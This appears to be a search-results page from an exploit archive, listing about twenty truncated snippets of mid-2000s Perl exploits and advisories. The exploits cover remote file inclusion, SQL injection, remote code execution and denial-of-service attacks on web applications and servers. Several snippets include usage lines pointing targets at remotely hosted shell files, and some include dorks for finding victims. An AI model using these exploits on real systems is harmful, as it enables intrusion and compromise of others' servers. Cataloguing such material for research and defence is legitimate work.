1119 matches found
phpbazar-210.pl.txt
!/usr/bin/perl phpBazar example: if host: http://sitebug.com/dir1/classified.php is vulnerable then USE: phpbazar-210.pl http://sitebug.com/dir1/ http://www.site.com.br/shell.txt cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv =...
Kaspersky antivirus 6: HTTP monitor bypassing
Kaspersky antivirus 6 Kaspersky internet security 6 www.kaspersky.com Vulnerable Systems: KAV6, KIS6 Detail: The vulnerability is caused due to HTTP parsing errors in the HTTP monitor Kaspersky Web-antivirus. Any mailicious software on local computer can bypass HTTP virus monitor. Solution: There...
RadScripts RadLance 7.0 - 'popup.php' Local File Inclusion
source: https://www.securityfocus.com/bid/17975/info RadLance is prone to a local file-include vulnerability. This may allow unauthorized users to view files and to execute local scripts. RadLance Gold 7.0 is reported affected by this issue; other versions may also be vulnerable. !/usr/bin/perl...
DeluxeBB 1.06 - 'name' SQL Injection (mq=off)
!/usr/bin/perl use IO::Socket; print q DeluxeBB 1.06 Remote SQL Injection Exploit exploit discovered and coded by KingOfSka http://contropotere.netsons.org ; if !$ARGV2 print q Usage: perl dbbxpl.pl host /directory/ victimuserid perl dbbxpl.pl www.somesite.com /forum/ 1 ; $server = $ARGV0; $dir =...
[Full-disclosure] SEC Consult SA-20060512-0 :: Symantec Enterprise Firewall NAT/HTTP Proxy Private IP Exposure
SEC Consult Security Advisory 20060512-0 ============================================================== title: Symantec Enterprise Firewall NAT/HTTP Proxy Private IP Exposure program: Symantec Enterprise FW vulnerable version: 8.0 homepage: www.symantec.com found: 2005-09-13 by: SEC Consult /...
Jetbox CMS 2.1 - relative_script_path Remote File Inclusion
Jetbox CMS 2.1 - relativescriptpath Remote File Inclusion !/usr/bin/perl JetBox CMS Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://jetbox.streamedge.co...
TinyFTPD <= 1.4 (USER) Remote Buffer Overflow DoS
No description provided by source. !/bin/perl Title: TinyFTPD = 1.4 USER command D.O.S Credits: Oo use IO::Socket; print "i TinyFTPD = 1.4 USER command D.O.S\n"; print "i coded by Oo\n"; if @ARGV 2 print "\n Usage: tinyftpddos.pl host port\n"; print " Exemple: tinyftpddos.pl 192.168.0.1 21\n";...
HiveMail 1.3 - 'addressbook.add.php' Remote Code Execution
!/usr/bin/perl HiveMail = 1.3 remote command execution exploit Advisory: http://www.gulftech.org/?node=research&articleid=00098-02102006 To get the hivesession: log on hivemail with firefox then look at the hivesession number in the url. yes i know... Dork: "Already have an account?" "Enter your...
Fast Click 1.1.3/2.3.8 - 'show.php' Remote File Inclusion
!/usr/bin/perl Fast Click perl fc.pl http://target.com/fclick/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv = $ARGV2; if$Path!/http:/// || $Pathtocmd!/http:/// || !$cmdvusage head; while print "shell...
Aardvark Topsites PHP <= 4.2.2 (lostpw.php) Remote Include Exploit
No description provided by source. !/usr/bin/perl Aardvark Topsites PHP =4.2.2 Remote Command Execution Exploit Copyright c 2006 cijfer cijfer@netti!fi All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ to set your PHP shell...
confixx_exploit.pl.txt
sry - i know this isn't a cvs repository here - but the code posted yesterday was written after some 'b33r' an i made it looking a little less drunk this morning. bye defa ----BOF---- !/usr/bin/perl exploit for confixx professional = 3.1.2 the vulerability was discovered by: LoK Crew references:...
BL4 SMTP Server < 0.1.5 Remote Buffer Overflow PoC
Exploit for unknown platform in category dos / poc ================================================== BL4 SMTP Server 2 usage if$ARGV 2 $prt = $ARGV1 else $prt = "25" ; $adr = $ARGV0; $prt = $ARGV1; $socket = IO::Socket::INET-newProto="tcp", PeerAddr=$adr, PeerPort=$prt, Reuse=1 or die "Error: ca...
My Gaming Ladder Combo System <= 7.0 Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=28 Usage: ladder.pl host path cmd Dork: "Ladder Scripts by http://www.mygamingladder.co...
My Gaming Ladder Combo System 7.0 - Remote Code Execution
My Gaming Ladder Combo System 7.0 - Remote Code Execution !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=28 Usage: ladder.pl Dork: "Ladder Scripts by...
WD-SMPL.txt
!/usr/bin/perl -w SimpleBBS v1.1posts.php remote command execution Xploit Discovered & Coded By rUnViRuS World Defacers TeaM WD-members: rUnViRuS - Papipsycho Details ======= Note : SimpleBBS v1.1posts.php remote command execution Xploit . . . Join with us to Get Prvi8 Exploit Priv8 Priv8 Priv8...
ASPSitem <= 1.83 (Haberler.asp) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================ ASPSitem ICQ: 10072 MSN/Main: email protected web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=23 Usage: aspsi.pl use IO::Socket; if@ARGV != 3 usage; else...
Internet PhotoShow (page) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ======================================================= Internet PhotoShow page Remote File Inclusion Exploit ======================================================= !/usr/bin/perl Exploit by Hessam-x www.hessamx.net sub usage print " Usag...
Internet PhotoShow 1.3 - 'page' Remote File Inclusion
!/usr/bin/perl Exploit by Hessam-x www.hessamx.net sub usage print " Usage: perl hx.pl host cmd shell cmd shell variable\r\n\n"; print " example : perl hx.pl www.milw0rm.com milw0rm.com/hx.txt cmd"; exit; / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | | \ | / \ / / / / / / Iran Hackerz...
FlexBB <= 0.5.5 (/inc/start.php _COOKIE) Remote SQL ByPass Exploit
No description provided by source. !/usr/bin/perl -w FlexBB = 0.5.5 /inc/start.php COOKIE Remote SQL ByPass Exploit , Perl C0d3 Milw0rm ID :- http://www.milw0rm.com/auth.php?id=1539 D3vil-0x1 | Devil-00 BlackHat : DONT FORGET TO DO YOUR CONFIG !! DONT FORGET TO DO YOUR CONFIG !! DONT FORGET TO DO...
Sysinfo name Parameter Arbitrary Code Execution
The remote host is running Sysinfo, a web-based system monitor. The version of Sysinfo installed on the remote host fails to sanitize user-supplied input to the 'name' parameter before passing it to a shell for execution. An unauthenticated attacker may be able to exploit this issue to execute...